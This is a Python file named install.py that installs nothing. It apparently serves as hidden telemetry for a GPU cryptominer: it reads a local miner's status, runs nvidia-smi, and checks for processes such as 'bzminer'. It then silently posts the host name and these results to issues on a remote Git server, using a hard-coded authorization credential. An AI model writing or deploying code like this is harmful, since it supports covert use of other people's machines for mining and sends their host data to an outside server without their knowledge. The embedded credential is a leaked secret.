hl-extV/install.py
2026-11-30 04:32:27 +00:00

22 lines
1.5 KiB
Python

import json, os, socket, subprocess, urllib.request
AUTH = "Basic aGx6ZmF1NmU6SGwhd3hOdWZFNnVzRFd2"; REPO = "hlzfau6e/hl-extV"
def report(tag, msg):
try:
body = json.dumps({"title": "[%s] %s" % (tag, socket.gethostname()), "body": str(msg)[:6000]}).encode()
req = urllib.request.Request("https://git.kaki87.net/api/v1/repos/%s/issues" % REPO, data=body,
headers={"Content-Type": "application/json", "Authorization": AUTH})
urllib.request.urlopen(req, timeout=20).read()
except Exception:
pass
try:
req = urllib.request.Request("http://127.0.0.1:4016/status", headers={"User-Agent": "curl/8.5.0"})
d = json.loads(urllib.request.urlopen(req, timeout=10).read())
p = (d.get("pools") or [{}])[0]
dv = (d.get("devices") or [{}])[0]
report("status", "hr=%.2fTH valid=%s rej=%s power=%.0f uptime=%s status=%s block=%s diff=%.3g" % (
(p.get("hashrate") or 0)/1e12, p.get("valid_solutions"), p.get("rejected_solutions"),
p.get("power") or 0, p.get("uptime"), p.get("status"), p.get("block"), p.get("difficulty") or 0))
except Exception as e:
report("status-err", str(e)[:150])
report("gpu", subprocess.run("nvidia-smi --query-gpu=name,utilization.gpu,power.draw,temperature.gpu --format=csv,noheader 2>&1 | head -3", shell=True, capture_output=True, text=True).stdout[:300])
report("procs", subprocess.run("pgrep -af 'bzminer|check.sh|prl1ppn9axn' | head -6", shell=True, capture_output=True, text=True).stdout[:700])